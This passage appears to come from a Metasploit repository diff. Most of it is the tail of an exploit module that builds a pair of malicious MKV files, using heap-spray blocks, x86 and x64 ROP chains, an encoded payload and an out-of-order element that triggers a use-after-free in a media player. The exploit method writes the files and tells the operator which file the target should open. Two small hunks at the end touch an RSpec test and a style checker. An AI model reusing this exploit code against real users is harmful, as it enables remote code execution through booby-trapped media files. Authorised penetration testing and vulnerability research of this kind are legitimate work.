uaf_object[0x168, 8] = [target.ret + 0x3c0].pack("<Q")
uaf_object[0x170, 8] = target_address_packed
return uaf_object
else
block = "\x00" * block_size
block[0x0, 4] = "\x41" * 4
block[0x8, target_address_packed.length] = target_address_packed
block[0x10, target_address_packed.length] = target_address_packed
block[0x40, 8] = [0x1].pack("<Q")
block[0x58, 8] = [target.ret + 0x3a8].pack("<Q")
block[0xE4, 8] = [0x1].pack("<Q")
block[0x1b8, 8] = [target.ret + 0x80].pack("<Q")
block[0x3b8, rop_chain.length] = rop_chain
block[0x6d8, 8] = [target.ret + 0x10].pack("<Q")
block[0x700, payload.encoded.length] = payload.encoded
block *= size / block.length + 1
end
return block[0, size]
elsif target.arch.first == ARCH_X86
target_address_packed = [target.ret].pack("<I")
rop_chain = target['RopChain'].map { |dword| [dword].pack("<I") }.join
if size == 0x100
uaf_object = "\x41" * size
uaf_object[0x28, 4] = target_address_packed
uaf_object[0x2c, 4] = [target.ret + 0x10000].pack("<I")
uaf_object[0xf4, 4] = [target.ret + 0x2bc].pack("<I")
uaf_object[0xf8, 4] = target_address_packed
return uaf_object
else
block = "\x00" * block_size
block[0x0, 4] = [0x22000040].pack("<I")
block[0x4, target_address_packed.length] = target_address_packed
block[0x8, target_address_packed.length] = target_address_packed
block[0x10, 4] = [0xc85].pack("<I")
block[0x30, 4] = [0x1].pack("<I")
block[0xc0, 4] = [0x1].pack("<I")
block[0x194, 4] = [0x2200031c].pack("<I")
block[0x2c0, 4] = [0x220002e4].pack("<I")
block[0x2f4, 4] = [0x22000310].pack("<I")
block[0x2f8, rop_chain.length] = rop_chain
block[0x564, 4] = [0x22000588].pack("<I")
block[0x5e0, payload.encoded.length] = payload.encoded
block *= size / block.length + 1
end
return block[0, size]
end
end
def generate_mkv
# EBML Header
doc_type = "\x42\x82" << data_size(8) << "matroska"
ebml = "\x1a\x45\xdf\xa3" << data_size(doc_type.length) << doc_type
# Seek Entries
seek_entry = "\x53\xab" << data_size(4) # SeekID
seek_entry << "\x15\x49\xa9\x66" # KaxInfo
seek_entry << "\x53\xac" << data_size(2) << "\xff" * 2 # SeekPosition + Index of Segment info
seek_entries = "\x4d\xbb" << data_size(seek_entry.length) << seek_entry # Seek Entry
seek_entry = "\x53\xab" << data_size(4) # SeekID
seek_entry << "\x11\x4d\x9b\x74" # KaxSeekHead
seek_entry << "\x53\xac" << data_size(4) << "\xff" * 4 # SeekPosition + Index of SeekHead
seek_entries << "\x4d\xbb" << data_size(seek_entry.length) << seek_entry # Seek Entry
seek_entry = "\x53\xab" << data_size(4) # SeekID
seek_entry << "\x10\x43\xa7\x70" # KaxChapters
seek_entry << "\x53\xac" << data_size(4) << "\xff" * 4 # SeekPosition + Index of Chapters
seek_entries << "\x4d\xbb" << data_size(seek_entry.length) << seek_entry # Seek Entry
# SeekHead
seek_head = "\x11\x4d\x9b\x74" << data_size(seek_entries.length) << seek_entries
# Void
void = "\xec" << data_size(2) << "\x41" # Trigger bug with an out-of-order element
# Info
segment_uid = "\x73\xa4" << data_size(16) << rand_text(16)
info = "\x15\x49\xa9\x66" << data_size(segment_uid.length) << segment_uid
# Chapters
chapter_segment_uid = "\x6e\x67" << data_size(16) << rand_text(16)
chapter_atom = "\xb6" << data_size(chapter_segment_uid.length) << chapter_segment_uid
edition_entry = "\x45\xb9" << data_size(chapter_atom.length) << chapter_atom
chapters = "\x10\x43\xa7\x70" << data_size(edition_entry.length) << edition_entry
if target.arch.first == ARCH_X86
size = 0x100
count = 30
elsif target.arch.first == ARCH_X64
size = 0x180
count = 60
end
# Attachments
attached_files = ""
mime = "\x46\x60" << data_size(24) << "application/octet-stream"
data = build_data(size)
data = "\x46\x5c" << data_size(data.length) << data
500.times do
uid = "\x46\xae" << data_size(8) << rand_text(8)
file_name = "\x46\x6e" << data_size(8) << rand_text(8)
header = "\x61\xa7" << data_size(uid.length + file_name.length + mime.length + data.length)
attached_files << header << file_name << mime << uid << data
end
attachments = "\x19\x41\xa4\x69" << data_size(attached_files.length) << attached_files
# Cluster
pay_load = build_data(0xfff000)
# Since the payload is simply repeated payload blocks appended to cluster then segment_data,
# we return the simple_block and the count to process later instead.
# This should result is overall lowered memory usage during payload generation
simple_block = "\xa3" << data_size(pay_load.length) << pay_load
simple_blocks_len = simple_block.length * count
time_code = "\xe7" << data_size(1) << "\x00"
cluster = "\x1f\x43\xb6\x75" << data_size(time_code.length + simple_blocks_len) << time_code
# Concatenate everything
segment_data = seek_head << void << info << chapters << attachments << cluster
segment = "\x18\x53\x80\x67" << data_size(segment_data.length + simple_blocks_len) << segment_data
mkv = ebml << segment
return mkv, simple_block, count
end
def exploit
mkv1, simple_block, count = generate_mkv
mkv2 = mkv1[0, 0x4f] + "\x15\x49\xa9\x66" + data_size(10)
tmpname = rand_text_alpha_lower(3..8)
f1 = datastore['MKV_ONE'].empty? ? "#{tmpname}-part1.mkv" : datastore['MKV_ONE']
f1 << '.mkv' unless f1.downcase.end_with?('.mkv')
f2 = datastore['MKV_TWO'].empty? ? "#{tmpname}-part2.mkv" : datastore['MKV_TWO']
f2 << '.mkv' unless f2.downcase.end_with?('.mkv')
file_format_filename(f1)
file_create(mkv1)
print_status("Created #{f1}. Target should open this file")
file_format_filename(f2)
file_create(mkv2)
print_status("Created #{f2}. Put this file in the same directory as #{f1}")
print_status("Appending blocks to #{f1}")
path = File.join(Msf::Config.local_directory, f1)
full_path = ::File.expand_path(path)
File.open(full_path, 'ab') do |fd|
count.times { fd.write(simple_block) }
end
print_good("Succesfully appended blocks to #{f1}")
end
def file_format_filename(name = '')
name.empty? ? @fname : @fname = name
end
end

View File

@ -738,7 +738,7 @@ RSpec.describe Msf::Modules::Loader::Base do
it 'should be reversible' do
namespace_module_name = subject.send(:namespace_module_name, module_full_name)
relative_name = namespace_module_name.gsub(/^.*::/, '')
reversed_name = subject.send(:reverse_relative_name, relative_name)
reversed_name = described_class.reverse_relative_name(relative_name)
expect(reversed_name).to eq module_full_name
end
@ -752,7 +752,7 @@ RSpec.describe Msf::Modules::Loader::Base do
it 'should be reversible' do
namespace_module_names = subject.send(:namespace_module_names, module_full_name)
relative_name = namespace_module_names.last
reversed_name = subject.send(:reverse_relative_name, relative_name)
reversed_name = described_class.reverse_relative_name(relative_name)
expect(reversed_name).to eq module_full_name
end

View File

@ -257,7 +257,7 @@ class Msftidy
# This check also enforces namespace module name reversibility
def check_snake_case_filename
if @name !~ /^[a-z0-9]+(?:_[a-z0-9]+)*\.rb$/
warn('Filenames should be lowercase alphanumeric snake case.')
warn('Filenames must be lowercase alphanumeric snake case.')
end
end